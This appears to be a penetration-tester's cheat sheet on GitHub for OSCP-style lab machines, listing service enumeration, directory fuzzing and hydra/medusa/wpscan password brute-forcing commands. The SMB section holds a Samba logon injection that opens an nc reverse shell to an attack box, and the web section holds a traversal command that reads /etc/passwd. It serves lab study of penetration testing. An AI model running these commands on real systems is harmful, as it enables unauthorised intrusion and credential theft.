-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCommands
191 lines (111 loc) · 4.44 KB
/
Commands
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
Step1 => Port and service enumeration with nmap:
Quick:
nmap --top-ports 20 --open
nmap -A -O 10.X.X.X
netcat -v -z -n -w 1 X.X.X.X 1-1023
For SSH:
nmap 10.X.X.X -p 22 -sV --script=ssh-hostkey
check SSH bad keys
Hydra
(on priv-esc only bruteforce users with etc/passwd file ends with /bin/bash)
Extensive:
nmap -sS -A -sV -O -p- --script=default,vuln
nmap -A -sV -sU --script=default,vuln
After intial enumeration:
nmap --script="" --script-timeout=1000
Step2 => MYSQL/MSSQL (Nmap --script)
• For MYSQL
nmap -p 3306 --script mysql-enum.nse 10.11.1.X
mysql -u root -p password -h 10.11.1.X
Step3 => SMB
• Nmap vuln scripts
• smbclient -L
• Enum4linux -a 10.11.1.X
• Metasploit auxiliary scanners
Connect to null share:
smbclient //10.10.X.X/tmp
get shell : logon "./=' nohup nc 10.10.X.X 4444 -e /bin/bash'"
logon "/=`nc 'attack box ip' 4444 -e /bin/bash`"
https://medium.com/@mjrmontemayor/htb-walkthrough-lame-a41f923593e6
Also check for combination with smbclient Put and LFI to get a shell.
SMB Bruteforce:
hydra -l user -P /usr/share/wordlists/metasploit/common_roots.txt 10.11.X.X smb
Step4 => Web
=> the labs are designed so you should not be brute forcing anything for more than 30 minutes.
Robots:
parsero -u http://10.11.1.X
or just curl -x -v /robots.txt
Web Enumeration:
• nmap --script http-enum 192.168.10.55
• Search for text and comments:
curl 10.11.X.X -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
curl 10.11.X.X -s -L | html2text -width '99' | uniq
nmap 10.11.1.X -p 80 \
--script=http-shellshock \
--script-args uri=/cgi-bin/test.cgi --script-args uri=/cgi-bin/admin.cgi
Pay attention to script args
Nikto
nikto -h -port 80 10.11.X.X
whatweb -v -a 3 10.11.1.X
wfuzz
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c --hc 404 https://10.11.1.X/FUZZ
wfuzz with hide pages with 0 lines:
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -c --hc 404 --hl 0 https://10.11.1.X/https://10.11.1.X/section.php?page=FUZZ
Dirb
dirb http://10.11.1.X /usr/share/dirb/wordlists/vulns/iis.txt -w
Gobuster:
• Apache -CGI:
gobuster -u http://10.11.1.X/ \ -w /usr/share/seclists/Discovery/Web_Content/cgis.txt \ -s '200,204,403,500' -e
• Common:
gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.11.1.X/ -fw -s 200,204,301,302,307,403,401
Dirsearch (amazing tool : https://github.com/maurosoria/dirsearch)
python3 ~/tools/brute-force/dirsearch/dirsearch.py -u http://X.X.X.X
Cewl: wordlist to be used as dictionnaries
cewl http://10.11.X.X -m 4 -e -o -a -w bigtree-cewl.txt
To test:
Patator : password fuzzer rather than bruteforcer
Webscarab
LFI:
dotdotpwn
List load balancers:
halberd 10.11.1.X -v
lbd example.com
Bruteforce passwords:
=>httaccess protected directories:
medusa -h 10.11.1.X -u admin -P /root/buffer/rockyou.txt -M http -m DIR:/xampp -T 10
http://www.foo
Hydra
Bruteforce passwords:
hydra -L seclists/Usernames/top-usernames-shortlist.txt -P buffer/rockyou.txt 10.11.1.X mysql -e nsr
Hydra HTTP POST:
hydra -l admin -P seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt 10.11.1.X -s 8000 http-post-form "/admin:password=^PASS^&send=%2Fadmin%2Fsite:invalid password.×" -V -I
include -S for SSL
ker
Hyda enumerate users:
hydra -L /root/Desktop/oscp-users -P /root/bigtree-cewl.txt 10.11.1.X http-post-form "/site/index.php/admin/login/forgot-password:email=^USER^@^PASS^:You've entered an invalid email address." -V -T 64 -t 16 -I
Xhydra (graphical interface)
Hydra HTTP GET / DIGEST:
hydra -l bethany -P seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt 10.11.1.X http-get /~login -e ns -s 9505 -V
WPSCAN for wordpress password bruteforcing:
wpscan --url http://10.11.1.X --wordlist /root/seclists/Passwords/Common-Credentials/best1050.txt --threads 50 --username admin
Look for webdav:
use auxiliary/scanner/http/webdav_scanner
Nmap --script "webdav"
Interact with webdav:
davtest
cadaver
default pass for xampp: wampp/xampp
Directory traversal:
dotdotpwn -u http://10.11.1.X:443/section.php?page=TRAVERSAL -m http-url -x 443 -t 300 -f /etc/passwd -s -q -k timeout
Look for mounts:
showmount -e IP
nmap -sV --script=nfs-showmount IP
Step6 => SMTP
SMTP enum:
smtp-user-enum -M VRFY -D acme.local -U /root/Desktop/oscp-users -t 10.11.1.X
smtp-user-enum -M VRFY -U /root/seclists/oscp-users.txt -t 10.X.X.X
ismtp -h 10.X.X.X:25 -e /root/seclists/oscp-users.txt
Automation:
SPARTA
Reconnoitre
Faraday